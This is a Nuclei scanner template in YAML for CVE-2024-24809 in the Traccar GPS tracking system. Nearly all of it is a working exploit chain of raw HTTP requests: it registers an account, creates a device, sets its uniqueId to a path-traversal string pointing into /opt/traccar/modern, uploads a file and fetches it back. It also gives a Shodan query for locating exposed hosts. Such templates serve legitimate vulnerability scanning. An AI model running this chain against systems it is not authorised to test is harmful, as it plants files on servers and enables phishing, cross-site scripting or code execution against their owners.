161 lines
4.5 KiB
YAML
161 lines
4.5 KiB
YAML
id: CVE-2024-24809
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info:
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name: Traccar - Unrestricted File Upload
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author: DhiyaneshDK
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severity: high
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description: |
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Traccar is an open source GPS tracking system. Versions prior to 6.0 are vulnerable to path traversal and unrestricted upload of file with dangerous type. Since the system allows registration by default, attackers can acquire ordinary user permissions by registering an account and exploit this vulnerability to upload files with the prefix `device.` under any folder. Attackers can use this vulnerability for phishing, cross-site scripting attacks, and potentially execute arbitrary commands on the server. Version 6.0 contains a patch for the issue.
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reference:
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- https://github.com/traccar/traccar/commit/b099b298f90074c825ba68ce73532933c7b9d901
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- https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5
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- https://nvd.nist.gov/vuln/detail/CVE-2024-24809
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L
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cvss-score: 8.5
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cve-id: CVE-2024-24809
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cwe-id: CWE-27
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epss-score: 0.00043
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epss-percentile: 0.09551
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metadata:
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verified: true
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max-request: 1
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shodan-query: html:"Traccar"
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tags: cve,cve2024,traccar,rce,intrusive,file-upload
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variables:
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name: "{{rand_base(6)}}"
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password: "{{rand_base(8)}}"
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email: "{{randstr}}@{{rand_base(5)}}.com"
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unique: "{{rand_base(6)}}"
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str: "{{randstr}}"
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flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)
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http:
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- raw:
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- |
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POST /api/users HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{"name": "{{name}}", "email": "{{email}}", "password": "{{password}}", "totpKey": null}
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matchers:
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- type: word
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part: body
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words:
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- '"administrator":'
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- '"fixedEmail"'
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condition: and
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internal: true
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- raw:
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- |
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POST /api/session HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded;charset=UTF-8
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email={{email}}&password={{password}}
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matchers:
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- type: word
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part: body
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words:
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- '"deviceReadonly":'
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- '"expirationTime":'
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condition: and
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internal: true
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- raw:
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- |
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POST /api/devices HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{"name": "{{unique}}", "uniqueId": "{{unique}}"}
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matchers:
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- type: word
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part: body
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words:
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- '"calendarId"'
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- '"groupId":'
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condition: and
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internal: true
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extractors:
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- type: json
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part: body
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name: value
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internal: true
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json:
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- '.id'
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- raw:
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- |
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POST /api/devices/{{value}}/image HTTP/1.1
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Host: {{Hostname}}
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Content-Type: image/srHtgGrc
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{{str}}
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extractors:
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- type: regex
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part: body
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name: filename
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internal: true
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regex:
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- 'device\.([a-zA-Z]+)'
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matchers:
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- type: dsl
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dsl:
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- status_code == 200
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- contains(content_type, "application/json")
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condition: and
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internal: true
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- raw:
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- |
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PUT /api/devices/{{value}} HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{"id": {{value}}, "attributes": {"deviceImage": "device.png"}, "groupId": 0, "calendarId": 0, "name": "test", "uniqueId": "{{unique}}/../../../../../opt/traccar/modern", "status": "offline", "lastUpdate": null, "positionId": 0, "phone": null, "model": null, "contact": null, "category": null, "disabled": false, "expirationTime": null}
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matchers:
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- type: word
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part: body
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words:
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- '"deviceImage":'
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- '"expirationTime":'
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condition: and
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internal: true
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- raw:
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- |
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POST /api/devices/{{value}}/image HTTP/1.1
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Host: {{Hostname}}
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Content-Type: image/srHtgGrc
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{{str}}
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matchers:
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- type: dsl
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dsl:
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- status_code == 200
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- contains(content_type, "application/json")
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condition: and
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internal: true
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- raw:
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- |
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GET /{{filename}} HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- status_code == 200
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# digest: 4a0a004730450221009ea2576a2d60c30f0a45644e909ded239208a5bcc14d8de34343b264c0f1fee3022038cb35e1781ab439d0da65360a05b976673d71905790779eccab1077d3e0b6c3:922c64590222798bb761d5b6d8e72950 |